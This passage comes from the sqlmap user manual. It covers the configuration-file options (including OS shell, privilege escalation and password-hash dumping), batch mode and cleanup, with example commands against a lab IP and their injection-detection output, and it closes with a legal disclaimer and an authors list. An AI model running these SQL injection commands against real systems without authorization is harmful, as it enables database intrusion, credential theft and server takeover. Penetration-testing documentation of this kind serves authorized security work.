googledork =
configfile =
list =
requestfile =

[Windows]
regread = False
regval =
regdata =
regadd = False
regdel = False
regtype =
regkey =

[User-defined function]
shlib =
udfinject = False

[Request]
cookieurlencode = False
ignoreproxy = False
threads = 1
acert =
retries = 3
useragentsfile =
atype =
agent =
delay = 0
headers =
cookie =
proxy =
timeout = 30
scope =
acred =
```

```
referer =
dropsetcookie = False
data =
method = GET

[Miscellaneous]
updateall = False
sessionfile =
eta = False
batch = False
flushsession = False
cleanup = False
googlepage = 0
verbose = 1

[Enumeration]
limitstop = 0
getpasswordhashes = False
excludesysdbs = False
getcurrentdb = False
getcurrentuser = False
limitstart = 0
query =
getusers = False
isdba = False
gettables = False
dumptable = False
getdbs = False
db =
sqlshell = False
tbl =
firstchar = 0
getcolumns = False
getbanner = True
dumpall = False
getprivileges = False
lastchar = 0
col =
user =

[File system]
dfile =
wfile =
rfile =

[Takeover]
msfpath =
osshell = False
ossmb = False
privesc = False
ospwn = False
tmppath =
oscmd =
osbof = False
```

```
[Fingerprint]
extensivefp = False

[Injection]
dbms =
string =
postfix =
regexp =
prefix =
testparameter =
estring =
eregexp =
os =

[Techniques]
utech =
unionuse = False
timetest = False
uniontest = False
stackedtest = False
timesec = 5
```

The file is a valid sqlmap configuration INI file. You can edit the configuration options as you wish and pass it to sqlmap with the `-c` option as explained above in section 5.2.5:

```
$ python sqlmap.py -c sqlmap-SAUbs.conf

[...]
banner:    'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real
(Ubuntu 4.3.2-1ubuntu11) 4.3.2'
```

5.12.7 Act in non-interactive mode

Option: `--batch`

If you want sqlmap to run as a batch tool, without any user's interaction when sqlmap requires it, you can force it by using `--batch` option, and leave sqlmap to go for a default behaviour.

Example on a **MySQL 5.0.67** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_str.php?id=1&name=luther" \
  --batch -v 1

[...]
[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:22] [INFO] GET parameter 'id' is dynamic
[hh:mm:22] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
[hh:mm:22] [INFO] testing unescaped numeric injection on GET parameter 'id'
[hh:mm:22] [INFO] confirming unescaped numeric injection on GET parameter 'id'
[hh:mm:22] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
[hh:mm:22] [INFO] testing if GET parameter 'name' is dynamic
[hh:mm:22] [INFO] confirming that GET parameter 'name' is dynamic
[hh:mm:22] [INFO] GET parameter 'name' is dynamic
[hh:mm:22] [INFO] testing sql injection on GET parameter 'name' with 0 parenthesis
```

```
[hh:mm:22] [INFO] testing unescaped numeric injection on GET parameter 'name'
[hh:mm:22] [INFO] GET parameter 'name' is not unescaped numeric injectable
[hh:mm:22] [INFO] testing single quoted string injection on GET parameter 'name'
[hh:mm:22] [INFO] confirming single quoted string injection on GET parameter 'name'
[hh:mm:22] [INFO] GET parameter 'name' is single quoted string injectable with 0 parenthesis
[hh:mm:22] [INFO] there were multiple injection points, please select the one to use to go
ahead:
[0] place: GET, parameter: id, type: numeric (default)
[1] place: GET, parameter: name, type: stringsingle
[q] Quit
Choice: 0
[hh:mm:22] [DEBUG] used the default behaviour, running in batch mode
[...]
back-end DBMS:  MySQL >= 5.0.0
```

As you can see, sqlmap by default chose the injection payload to the first vulnerable parameter.

5.12.8 Cleanup the DBMS by sqlmap specific UDF(s) and table(s)

Option: `--cleanup`

It is recommended to clean up the back-end database management system from sqlmap temporary table(s) and created user-defined function(s) when you are done with owning the underlying operating system or file system.

Example on a **PostgreSQL 8.3.5** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/iis/get_int.aspx?id=1" \
  -v 2 --cleanup

[...]
[hh:mm:18] [INFO] cleaning up the database management system
[hh:mm:18] [DEBUG] removing support tables
[hh:mm:18] [DEBUG] query: DROP TABLE sqlmapfile
[hh:mm:18] [DEBUG] query: DROP TABLE sqlmapoutput
do you want to remove sys_exec UDF? [Y/n]
[hh:mm:20] [DEBUG] removing sys_exec UDF
[hh:mm:20] [DEBUG] query: DROP FUNCTION sys_exec(text)
do you want to remove sys_eval UDF? [Y/n]
[hh:mm:21] [DEBUG] removing sys_eval UDF
[hh:mm:21] [DEBUG] query: DROP FUNCTION sys_eval(text)
[hh:mm:21] [INFO] database management system cleanup finished
[hh:mm:21] [WARNING] remember that UDF shared library files saved on the file system can
only be deleted manually
```

6 Disclaimer

sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

Whatever you do with this tool is uniquely your responsibility. If you are not authorized to punch holes in the network you are attacking be aware that such action might get you in trouble with a lot of law enforcement agencies.

7 Authors

Bernardo Damele A. G. (inquis) - Lead developer. PGP Key ID: 0x05F5A30F

Miroslav Stampar (stamparm) - Developer. PGP Key ID: 0xB5397B1B